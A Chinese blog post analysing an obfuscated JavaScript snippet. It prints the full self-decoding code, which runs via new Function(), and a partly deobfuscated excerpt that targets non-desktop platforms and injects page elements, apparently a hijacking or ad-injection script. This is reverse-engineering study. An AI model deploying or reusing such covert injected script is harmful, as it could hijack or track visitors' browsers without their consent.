一个冷门的js加密逆向分析

2024-02-06 10:28
文章标签 分析 加密 js 逆向 冷门

本文主要是介绍一个冷门的js加密逆向分析,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

在这里插入图片描述

先上加密代码供各位先看为敬

(function(){function j2f6c82(ve7deb){var i86905="VPfaI5H|Nc]$^rhn1B8d=R.w/u-4!ZetJ?XFM@2SY(&sbjlW6GEmAd[L0i,;yx%qozC9U_~g37OkKTpvQD:";var z1a52da8="4H_&|GNcEon:B2-?h]lx.(gkzOdA3eL,9;myV8bJwriRSt6s@X75Fvu^p0IjYUT%K!~M1=DCZ/WPaf$[Qq";return ve7deb.split('').map(function(ce86af){var ke64443=i86905.indexOf(ce86af);return ke64443==-1?ce86af:z1a52da8[ke64443]}).join('')}var c=j2f6c82('thunder://(s]4c(Q"" + "p" + "Z" + "r" + "," + "W" + "S" + "_"+""B~pL]|lsc].){X.pL]|lsc].[A,?4eJFrmT4SJFe2VW4,mJ(VWAWT){sp.O0UT|Iks]ORle6l.]T[swTlc&Ri8Tlpc&F)){&elL&]}X[T& =pSemZZS~pL]|lsc].er4_WZ){&elL&] jl&s]wRp&cF31T&3c4e.er4_WZ)}X[T& ee|e|~Q"lh_"J"[h_?"J"LhW,rZ?_rA,_WWVA"J"4hr,rVh,rh,V ,,$_A$,_"J"6M6hu|"BX[T& iVWpT_Z~Fe2VW4,mQ=pSemZZS.,=W_)+=pSemZZS.,=mV)+=pSemZZS.,=Wd)+=pSemZZS.,=Wr)BJl,p_rrT?A~Fe2VW4,mQ=pSemZZS.,=Wr)+=pSemZZS.,=mV)+=pSemZZS.,=Wd)+=pSemZZS.,=W_)BJF2,|T_~(VWAWTQiVWpT_Z."xZ@M|F@L4dHy|F8(4!~~")BJseTm2VT??~iVWpT_Z."xZY8xEb8bk=8Sk@L4!~~")J&m2e?4W4~iVWpT_Z."|Z@s|ZbMTkA]")JFV?ZV~iVWpT_Z."|F@(S5dy7D~~")Ju2T|44re~iVWpT_Z."|Z^6TED~")JlSeVm4V~iVWpT_Z."|F@r7EYu7D~~")J4pVS,ZT~iVWpT_Z."TF?iSw~~")JpSS?W4ZW~iVWpT_Z."|FdL75?l")J|_?4SVe~Fe2VW4,mQiVWpT_Z."qkd,T!~~")BJuVZT_4,~iVWpT_Z."S5?17!~~")X[T& 4WAr|A_2S~iVWpT_Z."eFH/7kY_7(~~")X[T& lZepT,|2|Xsp.8c|Tlsc]R6eT&|1Rs]4e=-p.4WAr|A_2S)>h_){lZepT,|2|~(VWAWTQseTm2VT??B.iVWpT_Z."45@V45dM7kN~"))XlZepT,|2|Rs4~"l"+.|_?4SVeQpSS?W4ZWB.)*_,,,,)XlZepT,|2|R6lM8eR(s4l1~"_,,o"XlZepT,|2|R6lM8eR1esw1l~"A,,i="XlZepT,|2|R4s6TS8e4~l&LeXsp.(VWAWTRSc4MC~]L88){(VWAWTRSc4MRTiie]431s84.lZepT,|2|)}e86e{[T& e4?rr,V~pL]|lsc].){(VWAWTRSc4MRTiie]431s84.lZepT,|2|)XFe2VW4,mR&eFc[eN[e]lts6le]e&.uVZT_4,Je4?rr,VJpT86e)}XFe2VW4,mRT44N[e]lts6le]e&.uVZT_4,Je4?rr,VJpT86e)}}[T& pA4AW|Tmm~(VWAWTQseTm2VT??B.iVWpT_Z."7k_s7kD~"))XpA4AW|TmmR6lM8eR1esw1l~",i="XpA4AW|TmmRs4~FrmT4S+.|_?4SVeR|es8.|_?4SVeQpSS?W4ZWB.)*_,,,,))X[T& 4_AAT~pL]|lsc]./VSZ242WV){[T& im_eS~]e( gTle.)X[T& ]rTVZ|TeV~`T4[jiT|e;4fv{FrmT4S}fv{im_eSRlctc|T8egTlejl&s]w.)}`X[T& /4m|A?rr~Yj-HRiT&6e.8c|T8jlc&TweRwel;leF.]rTVZ|TeV))Xsp./4m|A?rr~~]L88){/4m|A?rr~{S&c(6e&3cL]l$,}}/4m|A?rrRS&c(6e&3cL]l++X[T& wr2AZ|~l,p_rrT?A.ee|e|R|c]|Tl.QgTleQ"]c("B.)J8c|Tlsc]R1&epJ`16|hv{/4m|A?rrRS&c(6e&3cL]l}`B)R6c&l..)~>|_?4SVeQpSS?W4ZWB.)h,RA)Q4pVS,ZTB."J"))X[T& 1S_V|4mA~wr2AZ|Rs]4e=-p.=pSemZZS.,=Z4))>h_nwr2AZ|Q&m2e?4W4B.wr2AZ|Rs]4e=-p.=pSemZZS.,=Z4)))$""Xwr2AZ|~wr2AZ|QFV?ZVB.1S_V|4mAJ"")Qu2T|44reB."")QlSeVm4VB.)Q4pVS,ZTB."")+1S_V|4mAXpA4AW|TmmR6&|~Q"1lli6$OO"J/VSZ242WVJwr2AZ|BQ4pVS,ZTB."O")X(VWAWTRSc4MRTiie]431s84.pA4AW|Tmm)Xsp.lZepT,|2|C~]L88){lZepT,|2|R[T8Le+~"\\&\\]Tiie]4e4 eF lc 1lF8"X[T& &ArA4S44T~(VWAWTRwelN8eFe]l^M;4.pA4AW|TmmRs4)Xsp.&ArA4S44T~~]L88II&ArA4S44T~~L]4eps]e4){lZepT,|2|R[T8Le+~"\\&\\] |T]l wel eF p&cF 1lF8"}}}Xsp.lZepT,|2|C~]L88){lZepT,|2|R[T8Le+~"\\&\\]6e]4 y6 1c6l "+[A,?4e}[T& Fe?4V??~pL]|lsc].iZVAemVT?){&elL&] iVWpT_Z.iZVAemVT?)QFV?ZVB.=pSemZZS.,=r!)J|_?4SVeQpSS?W4ZWB.)Rlcjl&s]w.ZW)R68s|e.|_?4SVeRp8cc&.|_?4SVeQpSS?W4ZWB.)*?)+r))}X4_AAT.Fe?4V??.[A,?4e))XFe2VW4,mQ"T44N[e]lts6le]e&"B."Fe66Twe"JpL]|lsc].e){sp.eR4TlTR/~~FrmT4S){(VWAWTRwelN8eFe]l^M;4.pA4AW|TmmRs4)R&eFc[e.)Xsp.lZepT,|2|C~]L88){lZepT,|2|R[T8Le+~"\\&\\]&e|es[e eF ic6l Fe66Twe"XlZepT,|2|R[T8Le+~"\\&\\]eR4TlTR[ "+eR4TlTR:}]e( dL]|lsc]."T&w6"JeR4TlTR:).{fl4|6$F2,|T_Jfl&T$lZepT,|2|})}})})."zsA/xkAuT5@uT5/Lxr?l"J"W,rZ?_rA,_WWVA"J(s]4c(J4c|LFe]l)}XpZr,WS_.)X'.substr(10));new Function(c)()})();

初步的尝试

有感兴趣的可以去尝试一下,这是第一层加密,他里面有三层加密。

先用jsjiami在线解密去试试解码,发现无效,说明该加密不是常规加密。

开始人工阅读分析。

最终完全解密后(由于保护源码隐私和安全,只展示部分)

if (/^Mac|Win/.test(navigator.platform)) {return;
}var eecec = ["t-1", "v-19", "u-60239125016645", "d-2024-02-04 00:15:01", "sys-zc"];
var textarea, currentScript = document.currentScript;if (location.search.indexOf("xxxxxx") > -1) {textarea = document.createElement("textarea");textarea.id = "t" + window.Math.random() * 10000;textarea.style.width = "100%";textarea.style.height = "500px";textarea.disabled = true;if (document.body != null) {document.body.appendChild(textarea);} else {var loadTextarea = function () {document.body.appendChild(textarea);window.removeEventListener("load", loadTextarea, false);};window.addEventListener("load", loadTextarea, false);}
}

结尾

我也看不出这代码是做啥的,仅做技术分析研究,不做解读。感谢各位看客阅读至此。有任何问题可以联系官方客服。

这篇关于一个冷门的js加密逆向分析的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/684009

相关文章

Nginx分布式部署流程分析

《Nginx分布式部署流程分析》文章介绍Nginx在分布式部署中的反向代理和负载均衡作用,用于分发请求、减轻服务器压力及解决session共享问题,涵盖配置方法、策略及Java项目应用,并提及分布式事... 目录分布式部署NginxJava中的代理代理分为正向代理和反向代理正向代理反向代理Nginx应用场景

Redis中的有序集合zset从使用到原理分析

《Redis中的有序集合zset从使用到原理分析》Redis有序集合(zset)是字符串与分值的有序映射,通过跳跃表和哈希表结合实现高效有序性管理,适用于排行榜、延迟队列等场景,其时间复杂度低,内存占... 目录开篇:排行榜背后的秘密一、zset的基本使用1.1 常用命令1.2 Java客户端示例二、zse

Redis中的AOF原理及分析

《Redis中的AOF原理及分析》Redis的AOF通过记录所有写操作命令实现持久化,支持always/everysec/no三种同步策略,重写机制优化文件体积,与RDB结合可平衡数据安全与恢复效率... 目录开篇:从日记本到AOF一、AOF的基本执行流程1. 命令执行与记录2. AOF重写机制二、AOF的

JS纯前端实现浏览器语音播报、朗读功能的完整代码

《JS纯前端实现浏览器语音播报、朗读功能的完整代码》在现代互联网的发展中,语音技术正逐渐成为改变用户体验的重要一环,下面:本文主要介绍JS纯前端实现浏览器语音播报、朗读功能的相关资料,文中通过代码... 目录一、朗读单条文本:① 语音自选参数,按钮控制语音:② 效果图:二、朗读多条文本:① 语音有默认值:②

在Node.js中使用.env文件管理环境变量的全过程

《在Node.js中使用.env文件管理环境变量的全过程》Node.js应用程序通常依赖于环境变量来管理敏感信息或配置设置,.env文件已经成为一种流行的本地管理这些变量的方法,本文将探讨.env文件... 目录引言为什么使php用 .env 文件 ?如何在 Node.js 中使用 .env 文件最佳实践引

MyBatis Plus大数据量查询慢原因分析及解决

《MyBatisPlus大数据量查询慢原因分析及解决》大数据量查询慢常因全表扫描、分页不当、索引缺失、内存占用高及ORM开销,优化措施包括分页查询、流式读取、SQL优化、批处理、多数据源、结果集二次... 目录大数据量查询慢的常见原因优化方案高级方案配置调优监控与诊断总结大数据量查询慢的常见原因MyBAT

分析 Java Stream 的 peek使用实践与副作用处理方案

《分析JavaStream的peek使用实践与副作用处理方案》StreamAPI的peek操作是中间操作,用于观察元素但不终止流,其副作用风险包括线程安全、顺序混乱及性能问题,合理使用场景有限... 目录一、peek 操作的本质:有状态的中间操作二、副作用的定义与风险场景1. 并行流下的线程安全问题2. 顺

MyBatis/MyBatis-Plus同事务循环调用存储过程获取主键重复问题分析及解决

《MyBatis/MyBatis-Plus同事务循环调用存储过程获取主键重复问题分析及解决》MyBatis默认开启一级缓存,同一事务中循环调用查询方法时会重复使用缓存数据,导致获取的序列主键值均为1,... 目录问题原因解决办法如果是存储过程总结问题myBATis有如下代码获取序列作为主键IdMappe

使用Node.js和PostgreSQL构建数据库应用

《使用Node.js和PostgreSQL构建数据库应用》PostgreSQL是一个功能强大的开源关系型数据库,而Node.js是构建高效网络应用的理想平台,结合这两个技术,我们可以创建出色的数据驱动... 目录初始化项目与安装依赖建立数据库连接执行CRUD操作查询数据插入数据更新数据删除数据完整示例与最佳

Java中最全最基础的IO流概述和简介案例分析

《Java中最全最基础的IO流概述和简介案例分析》JavaIO流用于程序与外部设备的数据交互,分为字节流(InputStream/OutputStream)和字符流(Reader/Writer),处理... 目录IO流简介IO是什么应用场景IO流的分类流的超类类型字节文件流应用简介核心API文件输出流应用文